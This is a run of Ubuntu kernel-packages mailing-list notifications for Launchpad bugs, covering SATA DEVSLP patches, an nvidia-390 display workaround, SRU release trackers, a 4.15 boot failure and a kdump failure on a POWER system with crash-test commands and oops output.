[Kernel-packages] [Bug 1781533] Re: SATA device is not going to DEVSLP

[Yuan-Chen Cheng]

** Also affects: oem-priority
   Importance: Undecided
   Status: New

** Changed in: oem-priority
   Importance: Undecided => Critical

** Changed in: oem-priority
   Status: New => Triaged

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-oem in Ubuntu.
https://bugs.launchpad.net/bugs/1781533

Title:
  SATA device is not going to DEVSLP

Status in HWE Next:
  New
Status in OEM Priority Project:
  Triaged
Status in linux-oem package in Ubuntu:
  In Progress

Bug description:
  [Impact]
  Any of the platforms we’ve been seeing SATA problems not going to deepest 
state leading to other devices not getting there during long idle or s2idle. 
And it also prevents the system from entering deeper PC state other than PC3.

  [Test]
  Verified the power consumption on some new platforms, it doesn't do too much 
difference on the numbers, but it improves.

  [Fix]
  Suggested from Intel and Dell to contains the 2 commits
  https://patchwork.kernel.org/patch/10502285/
  https://patchwork.kernel.org/patch/10502287/

  The third commit sets by default link power management policy to min_power
  https://patchwork.kernel.org/patch/10502291/

  [Regression Potential]
  Low, the production machines with suspend-to-idle enabled should have the 
DEVSLP function been validated.

  [Misc]
  Those commits do not show up in any public git tree yet, so let's verify
  them in oem kernel first, and then will submit to bionic kernel later.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1781533/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1773113] Re: nvidia-390 does not show GUI

[Mathew Garland]

oops, see steps above, in between step 1 & 2, choose Ubuntu Recovery
from Advanced Options Menu

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu.
https://bugs.launchpad.net/bugs/1773113

Title:
   nvidia-390 does not show GUI

Status in nvidia-graphics-drivers-390 package in Ubuntu:
  Confirmed

Bug description:
  I know this bug is a duplicate, I am opening it because it seems that for # 
#1752053 it is marked as "Fix Released" although many people are still affected 
and complaining about it and nobody can or will change that status. So it is an 
attempt to raise more attention, as HDMI currently isn't usable for me on 
Ubuntu 18.04 (it affected me on 16.04 as well).
  Put in short, after Nvidia drivers are installed and I switch from Nvidia 
card to the intel one, the GUI can't be opened anymore

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-390/+bug/1773113/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1773113] Re: nvidia-390 does not show GUI

[Mathew Garland]

*** WORKAROUND CONSISTENTLY WORKING ***

After doing the following:

$ sudo apt purge nvidia-*
$ sudo apt install nvidia-390 nvidia-driver-390

I have been able to consistently work around this bug by doing the
following on each boot:

1) On boot commence press ESC once
2) Enter the Advanced Options for Ubuntu
3) Enter password for encrypted disk as appropriate
4) In Recovery Menu, select, "Network" and then, "Yes" in the modal 
confirmation dialog which is asking you to continue.
5) When the init process reaches: [OK] Reached Target Swap the initialisation 
process hangs. At this point, press CTRL + C once.
6) Wait for the boot process to complete and then select your desired 
desktop/display manager from the graphical display as appropriate, mine is MATE.
7) Provide your password as appropriate and login

Some errors may be encountered upon display manager starting, some
errors of mine referenced XOrg, but nothing which prevents me using my
system.

Good luck!

Mat

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu.
https://bugs.launchpad.net/bugs/1773113

Title:
   nvidia-390 does not show GUI

Status in nvidia-graphics-drivers-390 package in Ubuntu:
  Confirmed

Bug description:
  I know this bug is a duplicate, I am opening it because it seems that for # 
#1752053 it is marked as "Fix Released" although many people are still affected 
and complaining about it and nobody can or will change that status. So it is an 
attempt to raise more attention, as HDMI currently isn't usable for me on 
Ubuntu 18.04 (it affected me on 16.04 as well).
  Put in short, after Nvidia drivers are installed and I switch from Nvidia 
card to the intel one, the GUI can't be opened anymore

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/nvidia-graphics-drivers-390/+bug/1773113/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1779376] Re: linux: 4.4.0-131.157 -proposed tracker

[Brad Figg]

** Changed in: kernel-sru-workflow/automated-testing
   Status: Incomplete => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779376

Title:
  linux: 4.4.0-131.157 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Fix Released
Status in Kernel SRU Workflow certification-testing series:
  In Progress
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  Invalid
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Invalid
Status in Kernel SRU Workflow snap-certification-testing series:
  New
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  Invalid
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux package in Ubuntu:
  Invalid
Status in linux source package in Xenial:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see:
  https://wiki.ubuntu.com/Kernel/kernel-sru-workflow

  backports: bug 1779377 (linux-aws), bug 1779378 (linux-lts-xenial)
  derivatives: bug 1779379 (linux-aws), bug 1779380 (linux-euclid), bug 1779381 
(linux-kvm), bug 1779382 (linux-raspi2), bug 1779383 (linux-snapdragon)
  -- swm properties --
  boot-testing-requested: true
  bugs-spammed: true
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1779376/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1782064] [NEW] linux: 3.13.0-154.204 -proposed tracker

[Khaled El Mously]

Public bug reported:

This bug is for tracking the  upload package. This
bug will contain status and testing results related to that upload.

For an explanation of the tasks and the associated workflow see:
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow

backports: 
derivatives:

** Affects: kernel-sru-workflow
 Importance: Medium
 Status: In Progress

** Affects: kernel-sru-workflow/automated-testing
 Importance: Medium
 Assignee: Canonical Kernel Team (canonical-kernel-team)
 Status: New

** Affects: kernel-sru-workflow/certification-testing
 Importance: Medium
 Assignee: Canonical Hardware Certification (canonical-hw-cert)
 Status: New

** Affects: kernel-sru-workflow/prepare-package
 Importance: Medium
 Assignee: Khaled El Mously (kmously)
 Status: In Progress

** Affects: kernel-sru-workflow/prepare-package-meta
 Importance: Medium
 Assignee: Khaled El Mously (kmously)
 Status: In Progress

** Affects: kernel-sru-workflow/prepare-package-signed
 Importance: Medium
 Assignee: Khaled El Mously (kmously)
 Status: In Progress

** Affects: kernel-sru-workflow/promote-to-proposed
 Importance: Medium
 Assignee: Ubuntu Stable Release Updates Team (ubuntu-sru)
 Status: New

** Affects: kernel-sru-workflow/promote-to-security
 Importance: Medium
 Assignee: Ubuntu Stable Release Updates Team (ubuntu-sru)
 Status: New

** Affects: kernel-sru-workflow/promote-to-updates
 Importance: Medium
 Assignee: Ubuntu Stable Release Updates Team (ubuntu-sru)
 Status: New

** Affects: kernel-sru-workflow/regression-testing
 Importance: Medium
 Assignee: Canonical Kernel Team (canonical-kernel-team)
 Status: New

** Affects: kernel-sru-workflow/security-signoff
 Importance: Medium
 Assignee: Canonical Security Team (canonical-security)
 Status: New

** Affects: kernel-sru-workflow/upload-to-ppa
 Importance: Medium
 Status: Invalid

** Affects: kernel-sru-workflow/verification-testing
 Importance: Medium
 Assignee: Canonical Kernel Team (canonical-kernel-team)
 Status: New

** Affects: linux (Ubuntu)
 Importance: Undecided
 Status: Invalid


** Tags: kernel-release-tracking-bug kernel-release-tracking-bug-live 
kernel-sru-cycle-2018.07.02-test2 kernel-sru-master-kernel trusty

** Tags added: kernel-release-tracking-bug

** Tags added: kernel-release-tracking-bug-live

** Tags added: trusty

** Also affects: kernel-sru-workflow/automated-testing
   Importance: Undecided
   Status: New

** Also affects: kernel-sru-workflow/certification-testing
   Importance: Undecided
   Status: New

** Also affects: kernel-sru-workflow/prepare-package
   Importance: Undecided
   Status: New

** Also affects: kernel-sru-workflow/prepare-package-meta
   Importance: Undecided
   Status: New

** Also affects: kernel-sru-workflow/prepare-package-signed
   Importance: Undecided
   Status: New

** Also affects: kernel-sru-workflow/promote-to-proposed
   Importance: Undecided
   Status: New

** Also affects: kernel-sru-workflow/promote-to-security
   Importance: Undecided
   Status: New

** Also affects: kernel-sru-workflow/promote-to-updates
   Importance: Undecided
   Status: New

** Also affects: kernel-sru-workflow/regression-testing
   Importance: Undecided
   Status: New

** Also affects: kernel-sru-workflow/security-signoff
   Importance: Undecided
   Status: New

** Also affects: kernel-sru-workflow/upload-to-ppa
   Importance: Undecided
   Status: New

** Also affects: kernel-sru-workflow/verification-testing
   Importance: Undecided
   Status: New

** Changed in: kernel-sru-workflow/automated-testing
   Importance: Undecided => Medium

** Changed in: kernel-sru-workflow/automated-testing
 Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team)

** Changed in: kernel-sru-workflow/certification-testing
   Importance: Undecided => Medium

** Changed in: kernel-sru-workflow/certification-testing
 Assignee: (unassigned) => Canonical Hardware Certification 
(canonical-hw-cert)

** Changed in: kernel-sru-workflow/prepare-package
   Importance: Undecided => Medium

** Changed in: kernel-sru-workflow/prepare-package
 Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team)

** Changed in: kernel-sru-workflow/prepare-package-meta
   Importance: Undecided => Medium

** Changed in: kernel-sru-workflow/prepare-package-meta
 Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team)

** Changed in: kernel-sru-workflow/prepare-package-signed
   Importance: Undecided => Medium

** Changed in: kernel-sru-workflow/prepare-package-signed
 Assignee: (unassigned) => Canonical Kernel Team (canonical-kernel-team)

** Changed in: kernel-sru-workflow/promote-to-proposed
   Importance: Undecided => Medium

** Changed in: 

[Kernel-packages] [Bug 1771661] Re: [nvidia] After updating to 18.04 only Wayland works. Cannot get Xorg to work on Gnome

[Launchpad Bug Tracker]

[Expired for gdm3 (Ubuntu) because there has been no activity for 60
days.]

** Changed in: gdm3 (Ubuntu)
   Status: Incomplete => Expired

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu.
https://bugs.launchpad.net/bugs/1771661

Title:
  [nvidia] After updating to 18.04 only Wayland works. Cannot get Xorg
  to work on Gnome

Status in gdm3 package in Ubuntu:
  Expired
Status in nvidia-graphics-drivers-390 package in Ubuntu:
  Expired

Bug description:
  I recently updated to Ubuntu 18.04. After updating I can only log into Gnome 
if I select Gnome or Ubuntu with Wayland at my login screen. Nothing I can do 
will allow me tuse Xorg. I tried reinstalling Xorg and reinstalling my video 
driver (nvidia-390) . If I select Ubuntu with Xorg at login I get a purple 
screen and frozen mouse. If I set etting |WaylandEnable=false| in 
|/etc/gdm/custom.conf| I cannot get to the login screen. The system freezes.
  --- 
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2017-09-16 (242 days ago)
  InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412)
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: nvidia-graphics-drivers-390
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Tags:  bionic wayland-session
  Uname: Linux 4.15.0-20-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo video
  _MarkForUpload: True
  mtime.conffile..etc.gdm3.custom.conf: 2018-05-13T00:31:45.698321

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1771661/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1771661] Re: [nvidia] After updating to 18.04 only Wayland works. Cannot get Xorg to work on Gnome

[Launchpad Bug Tracker]

[Expired for nvidia-graphics-drivers-390 (Ubuntu) because there has been
no activity for 60 days.]

** Changed in: nvidia-graphics-drivers-390 (Ubuntu)
   Status: Incomplete => Expired

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to nvidia-graphics-drivers-390 in Ubuntu.
https://bugs.launchpad.net/bugs/1771661

Title:
  [nvidia] After updating to 18.04 only Wayland works. Cannot get Xorg
  to work on Gnome

Status in gdm3 package in Ubuntu:
  Expired
Status in nvidia-graphics-drivers-390 package in Ubuntu:
  Expired

Bug description:
  I recently updated to Ubuntu 18.04. After updating I can only log into Gnome 
if I select Gnome or Ubuntu with Wayland at my login screen. Nothing I can do 
will allow me tuse Xorg. I tried reinstalling Xorg and reinstalling my video 
driver (nvidia-390) . If I select Ubuntu with Xorg at login I get a purple 
screen and frozen mouse. If I set etting |WaylandEnable=false| in 
|/etc/gdm/custom.conf| I cannot get to the login screen. The system freezes.
  --- 
  ApportVersion: 2.20.9-0ubuntu7
  Architecture: amd64
  CurrentDesktop: ubuntu:GNOME
  DistroRelease: Ubuntu 18.04
  InstallationDate: Installed on 2017-09-16 (242 days ago)
  InstallationMedia: Ubuntu 17.04 "Zesty Zapus" - Release amd64 (20170412)
  NonfreeKernelModules: nvidia_modeset nvidia
  Package: nvidia-graphics-drivers-390
  PackageArchitecture: amd64
  ProcVersionSignature: Ubuntu 4.15.0-20.21-generic 4.15.17
  Tags:  bionic wayland-session
  Uname: Linux 4.15.0-20-generic x86_64
  UpgradeStatus: No upgrade log present (probably fresh install)
  UserGroups: adm cdrom dialout dip lpadmin plugdev sambashare sudo video
  _MarkForUpload: True
  mtime.conffile..etc.gdm3.custom.conf: 2018-05-13T00:31:45.698321

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gdm3/+bug/1771661/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1779827] Re: failure to boot with linux-image-4.15.0-24-generic

[TR Precht]

This effected me after my first reboot in a couple weeks. I tried earlier 
kernels, still wouldn't boot. 
Hangs on "[ OK ] Started GNOME Display Manager. Dispatcher Service..tem 
changes.pp link was shut down"


 I was able to switch to lightdm to get in, but any time I try to update I get 
several pages of errors about python3 not being configured and py files being 
missing. 

No apport report written because MaxReports is reached already
Errors were encountered while processing:
python3
update-notifier-common
python3-update-manager
gnome-shell
update-notifier
unattended-upgrades
update-manager
gnome-menus
update-manager-core
gdm3
E: Sub-process /usr/bin/dpkg returned an error code (1)

Any time I try to reboot with GDM, it hangs. will boot, ~mostly~ okay
with lightdm.

My system is a System76 Sable Touch 3. 4th Generation Intel® Core™
i5-4440S ( 2.80GHz - 6MB cache - 4 Cores - HD Graphics 4600 )

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1779827

Title:
  failure to boot with linux-image-4.15.0-24-generic

Status in Ubuntu:
  Confirmed
Status in linux package in Ubuntu:
  In Progress
Status in The Bionic Beaver:
  Confirmed
Status in linux source package in Bionic:
  Fix Committed

Bug description:
  This was the last OK then my 18.04 hangs after an update this morning.
  07:00 AM CEST

  Last Ok in boot was Started gnome display manager. dispatcher service
  .. tem changes.pp link was shut down

  Tried install lightdm from command line and the  response was lastest
  already installed.

  Probably it is what is coming after the lastest OK which is to be the
  error. And here I have lots of guesses..

  Any Ideas ? I need to do some work and I may not be waiting long.

  Search and browsed and now close to give up. Yeah it is a Lenovo.

  Guys: turn of auto update it is a machine killer.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+bug/1779827/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781068] Re: linux-kvm: 4.15.0-1015.15 -proposed tracker

[Brad Figg]

** Changed in: kernel-sru-workflow/automated-testing
   Status: Incomplete => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-kvm in Ubuntu.
https://bugs.launchpad.net/bugs/1781068

Title:
  linux-kvm: 4.15.0-1015.15 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Fix Released
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Fix Released
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-kvm package in Ubuntu:
  Invalid
Status in linux-kvm source package in Bionic:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1781433
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1781068/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1779379] Re: linux-aws: 4.4.0-1063.72 -proposed tracker

[Brad Figg]

** Changed in: kernel-sru-workflow/automated-testing
   Status: Incomplete => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-aws in Ubuntu.
https://bugs.launchpad.net/bugs/1779379

Title:
  linux-aws: 4.4.0-1063.72 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Fix Released
Status in Kernel SRU Workflow certification-testing series:
  Invalid
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  Invalid
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Invalid
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  Invalid
Status in Kernel SRU Workflow upload-to-ppa series:
  New
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux-aws package in Ubuntu:
  Invalid
Status in linux-aws source package in Xenial:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see: 
https://wiki.ubuntu.com/Kernel/kernel-sru-workflow
  -- swm properties --
  boot-testing-requested: true
  kernel-stable-master-bug: 1779376
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1779379/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781433] Re: linux: 4.15.0-28.30 -proposed tracker

[Brad Figg]

** Changed in: kernel-sru-workflow/automated-testing
   Status: Incomplete => Fix Released

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1781433

Title:
  linux: 4.15.0-28.30 -proposed tracker

Status in Kernel SRU Workflow:
  In Progress
Status in Kernel SRU Workflow automated-testing series:
  Fix Released
Status in Kernel SRU Workflow certification-testing series:
  In Progress
Status in Kernel SRU Workflow prepare-package series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-meta series:
  Fix Released
Status in Kernel SRU Workflow prepare-package-signed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-proposed series:
  Fix Released
Status in Kernel SRU Workflow promote-to-security series:
  New
Status in Kernel SRU Workflow promote-to-updates series:
  New
Status in Kernel SRU Workflow regression-testing series:
  Confirmed
Status in Kernel SRU Workflow security-signoff series:
  Fix Released
Status in Kernel SRU Workflow snap-certification-testing series:
  New
Status in Kernel SRU Workflow snap-release-to-beta series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-candidate series:
  New
Status in Kernel SRU Workflow snap-release-to-edge series:
  Confirmed
Status in Kernel SRU Workflow snap-release-to-stable series:
  New
Status in Kernel SRU Workflow upload-to-ppa series:
  Invalid
Status in Kernel SRU Workflow verification-testing series:
  Confirmed
Status in linux package in Ubuntu:
  Invalid
Status in linux source package in Bionic:
  Confirmed

Bug description:
  This bug is for tracking the  upload package.
  This bug will contain status and testing results related to that
  upload.

  For an explanation of the tasks and the associated workflow see:
  https://wiki.ubuntu.com/Kernel/kernel-sru-workflow

  backports: bug 1781437 (linux-hwe), bug 1781438 (linux-hwe-edge), bug 1781072 
(azure), bug 1781074 (azure-edge), bug 1781115 (gcp)
  derivatives: bug 1781435 (linux-aws), bug 1781066 (azure), bug 1781067 (gcp), 
bug 1781068 (kvm), bug 1781063 (raspi2), bug 1781064 (oem)
  -- swm properties --
  boot-testing-requested: true
  bugs-spammed: true
  phase: Promoted to proposed
  proposed-announcement-sent: true
  proposed-testing-requested: true

To manage notifications about this bug go to:
https://bugs.launchpad.net/kernel-sru-workflow/+bug/1781433/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1781533] Re: SATA device is not going to DEVSLP

[AceLan Kao]

I replied the patches and add Tested-by in the email.

BTW, for the SRU, I'll split this SRU into 2, submit the first 2 commits
first and wait the final result of the third one and submit another SRU
for it.

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux-oem in Ubuntu.
https://bugs.launchpad.net/bugs/1781533

Title:
  SATA device is not going to DEVSLP

Status in HWE Next:
  New
Status in linux-oem package in Ubuntu:
  In Progress

Bug description:
  [Impact]
  Any of the platforms we’ve been seeing SATA problems not going to deepest 
state leading to other devices not getting there during long idle or s2idle. 
And it also prevents the system from entering deeper PC state other than PC3.

  [Test]
  Verified the power consumption on some new platforms, it doesn't do too much 
difference on the numbers, but it improves.

  [Fix]
  Suggested from Intel and Dell to contains the 2 commits
  https://patchwork.kernel.org/patch/10502285/
  https://patchwork.kernel.org/patch/10502287/

  The third commit sets by default link power management policy to min_power
  https://patchwork.kernel.org/patch/10502291/

  [Regression Potential]
  Low, the production machines with suspend-to-idle enabled should have the 
DEVSLP function been validated.

  [Misc]
  Those commits do not show up in any public git tree yet, so let's verify
  them in oem kernel first, and then will submit to bionic kernel later.

To manage notifications about this bug go to:
https://bugs.launchpad.net/hwe-next/+bug/1781533/+subscriptions

-- 
Mailing list: https://launchpad.net/~kernel-packages
Post to : kernel-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~kernel-packages
More help   : https://help.launchpad.net/ListHelp

[Kernel-packages] [Bug 1778844] Re: ISST-LTE:PNV:Ubuntu180401:Witherspoon:woo: After triggering crash, kdump is not working and system enters into initramfs state

[Thadeu Lima de Souza Cascardo]

** Also affects: linux (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Also affects: makedumpfile (Ubuntu)
   Importance: Undecided
   Status: New

** Also affects: initramfs-tools (Ubuntu)
   Importance: Undecided
   Status: New

-- 
You received this bug notification because you are a member of Kernel
Packages, which is subscribed to linux in Ubuntu.
https://bugs.launchpad.net/bugs/1778844

Title:
  ISST-LTE:PNV:Ubuntu180401:Witherspoon:woo: After triggering
  crash,kdump is not working and system enters into initramfs state

Status in The Ubuntu-power-systems project:
  Triaged
Status in initramfs-tools package in Ubuntu:
  New
Status in linux package in Ubuntu:
  New
Status in makedumpfile package in Ubuntu:
  New
Status in initramfs-tools source package in Bionic:
  New
Status in linux source package in Bionic:
  New
Status in makedumpfile source package in Bionic:
  New

Bug description:
  Problem Description:
  ===
  After triggering crash ,kdump is not working & system enters into initramfs 
state

  Steps to re-create:
  ==

  >. woo is installed ubuntu180401 kernel

  root@woo:~# uname -a
  Linux woo 4.15.0-23-generic #25-Ubuntu SMP Wed May 23 17:59:00 UTC 2018 
ppc64le ppc64le ppc64le GNU/Linux
  root@woo:~#

  >. Crashkernel value as below

  root@woo:~# free -h
totalusedfree  shared  buff/cache   
available
  Mem:   503G2.0G501G 13M279M
499G
  Swap:  2.0G  0B2.0G

  root@woo:~# cat /proc/cmdline
  root=UUID=45bb7eb2-4c61-425d-8bf9-4e6f16829ddb ro splash quiet 
crashkernel=8192M

  >  kdump status

  root@woo:~#  kdump-config status
  current state   : ready to kdump

  root@woo:~#  kdump-config show
  DUMP_MODE:kdump
  USE_KDUMP:1
  KDUMP_SYSCTL: kernel.panic_on_oops=1
  KDUMP_COREDIR:/var/crash
  crashkernel addr:
 /var/lib/kdump/vmlinuz: symbolic link to /boot/vmlinux-4.15.0-23-generic
  kdump initrd:
 /var/lib/kdump/initrd.img: symbolic link to 
/var/lib/kdump/initrd.img-4.15.0-23-generic
  current state:ready to kdump

  kexec command:
/sbin/kexec -p 
--command-line="root=UUID=45bb7eb2-4c61-425d-8bf9-4e6f16829ddb ro splash quiet 
nr_cpus=1 systemd.unit=kdump-tools.service irqpoll noirqdistrib nousb" 
--initrd=/var/lib/kdump/initrd.img /var/lib/kdump/vmlinuz

  root@woo:~# dmesg | grep Reser
  [0.00] Reserving 8192MB of memory at 128MB for crashkernel (System 
RAM: 524288MB)
  [0.00] cma: Reserved 26224 MiB at 0x20399500
  [3.545490] Copyright (C) 2017-2018 Broadcom. All Rights Reserved. The 
term "Broadcom" refers to Broadcom Limited and/or its subsidiaries.

  > Triggered crash

  root@woo:~# echo 1 > /proc/sys/kernel/sysrq
  root@woo:~# echo c > /proc/sysrq-trigger
  [   73.056308] sysrq: SysRq : Trigger a crash
  [   73.056357] Unable to handle kernel paging request for data at address 
0x
  [   73.056459] Faulting instruction address: 0xc07f24c8
  [   73.056543] Oops: Kernel access of bad area, sig: 11 [#1]
  [   73.056609] LE SMP NR_CPUS=2048 NUMA PowerNV
  [   73.056668] Modules linked in: rdma_ucm(OE) ib_ucm(OE) rdma_cm(OE) 
iw_cm(OE) ib_ipoib(OE) ib_cm(OE) ib_uverbs(OE) ib_umad(OE) esp6_offload esp6 
esp4_offload esp4 xfrm_algo mlx5_fpga_tools(OE) mlx4_en(OE) mlx4_ib(OE) 
mlx4_core(OE) rpcsec_gss_krb5 nfsv4 nfs fscache binfmt_misc idt_89hpesx 
vmx_crypto crct10dif_vpmsum ofpart cmdlinepart ipmi_powernv ipmi_devintf at24 
powernv_flash ipmi_msghandler ibmpowernv mtd opal_prd uio_pdrv_genirq uio nfsd 
auth_rpcgss nfs_acl lockd sch_fq_codel grace sunrpc knem(OE) ip_tables x_tables 
autofs4 btrfs xor zstd_compress raid6_pq mlx5_ib(OE) ib_core(OE) nouveau lpfc 
ast i2c_algo_bit ttm mlx5_core(OE) drm_kms_helper mlxfw(OE) nvmet_fc devlink 
syscopyarea nvmet mlx_compat(OE) sysfillrect cxl nvme_fc sysimgblt fb_sys_fops 
nvme_fabrics nvme ahci crc32c_vpmsum drm scsi_transport_fc
  [   73.057601]  tg3 libahci nvme_core pnv_php
  [   73.057652] CPU: 44 PID: 4626 Comm: bash Tainted: G   OE
4.15.0-23-generic #25-Ubuntu
  [   73.057767] NIP:  c07f24c8 LR: c07f3568 CTR: 
c07f24a0
  [   73.057868] REGS: c03f8269f9f0 TRAP: 0300   Tainted: G   OE
 (4.15.0-23-generic)
  [   73.057986] MSR:  90009033   CR: 2822 
 XER: 2004
  [   73.058099] CFAR: c07f3564 DAR:  DSISR: 4200 
SOFTE: 1
